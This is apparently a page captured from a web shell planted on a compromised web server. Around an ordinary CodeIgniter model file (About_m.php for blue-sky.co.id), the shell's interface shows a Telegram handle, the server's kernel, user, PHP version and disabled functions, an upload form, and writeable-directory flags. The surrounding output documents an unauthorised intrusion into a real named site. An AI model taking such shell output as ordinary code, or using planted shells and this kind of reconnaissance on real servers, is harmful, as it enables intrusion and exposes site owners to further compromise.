https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /proc/self/root/var/www/blue-sky.co.id/public_html/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/blue-sky.co.id/public_html/application/models/About_m.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class About_m extends MY_Model {
	
	protected $_table_name = 'about';
	protected $_primary_key = 'id';
	protected $_order_by = 'id';


	function __construct() {
		parent::__construct();	
	}	
	
	//function to display new about, where all fields are empty
	public function get_new() {
		$about = new stdClass();
		$about->hero_image = '';
		$about->hero_title = '';
		$about->intro1_image = '';
		$about->intro2_image = '';
		$about->intro_title = '';
		$about->intro_subtitle = '';
		$about->about_title = '';
		$about->about_subtitle = '';
		$about->about_image = '';
		$about->history_title = '';
		$about->history_subtitle = '';
		$about->history_image = '';
		$about->team_tag = '';
		$about->team_title = '';
		$about->tean_subtitle = '';
		$about->vision_title = '';
		$about->vision_subtitle = '';
		$about->mission_image = '';
		$about->mission_title = '';
		$about->mission_subtitle = '';
		$about->value_image = '';
		$about->value_title = '';
		$about->value_subtitle = '';
		return $about;
	}

	//function count all record for about
	public function record_count() {
        return $this->db->get('about')->num_rows();
    }

	//function count if existing record exist
	public function count_exist($id) {
        $this->db->select('*');
        $this->db->from('about');
        $this->db->where('id', $id);
        $query = $this->db->get();		
		return $query->num_rows();
    }

    //function edit 
	function edit_about($id, $data) {
		$this->db->where('id', $id);
		$this->db->update('about', $data);	
	}
	

	
}

https://t.me/RX1948 - 2025